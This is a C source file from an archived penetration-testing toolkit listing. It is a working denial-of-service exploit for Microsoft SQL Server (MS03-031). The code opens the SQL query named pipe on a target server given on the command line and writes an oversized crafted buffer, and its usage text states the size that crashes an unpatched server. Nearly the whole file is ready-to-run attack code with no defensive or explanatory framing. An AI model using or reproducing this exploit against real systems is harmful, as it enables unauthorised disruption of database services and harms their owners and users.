home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / database / mssql / expMS0331.cpp < prev    next >
C/C++ Source or Header  |  2005-02-12  |  3KB  |  115 lines

  1. ////////////////////////////////////////////////////////////////////////////////
  2. //      
  3. //      exp for Microsoft SQL Server DoS(MS03-031)
  4. //
  5. //      By          : refdom
  6. //        Email      : refdom@xfocus.org
  7. //        Home Page : http://www.xfocus.org
  8. //
  9. ////////////////////////////////////////////////////////////////////////////////
  10.  
  11. #include <stdio.h>
  12. #include <stdlib.h>
  13. #include <windows.h>
  14.  
  15.  
  16. void Usage()
  17. {
  18.     printf("******************************************\n");
  19.     printf("exp for Microsoft SQL Server DoS(MS03-031)\n\n");
  20.     printf("\t Written by Refdom\n");
  21.     printf("\t Email: refdom@xfocus.org\n");
  22.     printf("\t Homepage: www.xfocus.org\n\n");
  23.     printf("Usage: DOSMSSQL.exe server buffersize\n");
  24.     printf("eg: SQLScanner.exe 192.168.0.1 9000\n\n");
  25.     printf("The buffersize depends on service pack level.\n");
  26.     printf("I test it on my server: windows 2000, mssqlserver no sp.\n");
  27.     printf("when buffersize is 9000, the server can be crashed.\n");
  28.     printf("\n");
  29.     printf("*******************************************\n\n");
  30. }
  31.  
  32.  
  33. int main(int argc, char* argv[])
  34. {
  35.     char lpPipeName[50];
  36.     char *lpBuffer = NULL;
  37.     unsigned long ulSize = 0;
  38.  
  39.     BOOL bResult;
  40.     DWORD dwWritten = 0, dwMode;
  41.     HANDLE hPipe;
  42.  
  43.     Usage();
  44.  
  45.     printf("Starting...\n");
  46.  
  47.     if (argc != 3)
  48.         goto Exit0;
  49.     
  50.     if (strlen(argv[1]) < 20)
  51.     {
  52.         sprintf(lpPipeName, "\\\\%s\\\\.\\pipe\\sql\\query", argv[1]);
  53.     }
  54.     else
  55.     {
  56.         printf("Error!server\n");
  57.         goto Exit0;
  58.     }
  59.  
  60.     ulSize= atol(argv[2]);
  61.  
  62.     lpBuffer = (char*)malloc(ulSize + 2);
  63.     if (NULL == lpBuffer)
  64.     {
  65.         printf("malloc error!\n");
  66.         goto Exit0;
  67.     }
  68.  
  69.     memset(lpBuffer, 0, ulSize + 2);
  70.     memset(lpBuffer, 'A', ulSize);
  71.     *lpBuffer = '\x12';
  72.     *(lpBuffer + 1) = '\x01';
  73.     *(lpBuffer + 2) = '\x00';
  74.     
  75.     printf("Connecting Server...\n");
  76.  
  77.     hPipe = CreateFile(lpPipeName, 
  78.                     GENERIC_READ | GENERIC_WRITE,
  79.                     0,
  80.                     NULL,
  81.                     OPEN_EXISTING,
  82.                     0,
  83.                     NULL);
  84.     if (INVALID_HANDLE_VALUE == hPipe)
  85.     {
  86.         printf("Error!Connect server!%d\n", GetLastError());
  87.         goto Exit0;
  88.     }
  89.  
  90.    dwMode = PIPE_READMODE_MESSAGE; 
  91.    bResult = SetNamedPipeHandleState( 
  92.       hPipe,    // pipe handle 
  93.       &dwMode,  // new pipe mode 
  94.       NULL,     // don't set maximum bytes 
  95.       NULL);    // don't set maximum time 
  96.    if (!bResult)
  97.    {
  98.         printf("Error!SetNamedPipeHandleState.%d\n", GetLastError());
  99.         goto Exit0;
  100.    }
  101.  
  102.     bResult = WriteFile(hPipe, lpBuffer, ulSize + 1, &dwWritten, NULL);
  103.  
  104.     if (!bResult)
  105.     {
  106.         printf("\n\tError!WriteFile.%d\n\n", GetLastError());
  107.         printf("When see the error message, the target may be crashed!!\n\n");
  108.         goto Exit0;
  109.     }
  110.  
  111. Exit0:
  112.     
  113.     return 0;
  114. }
  115.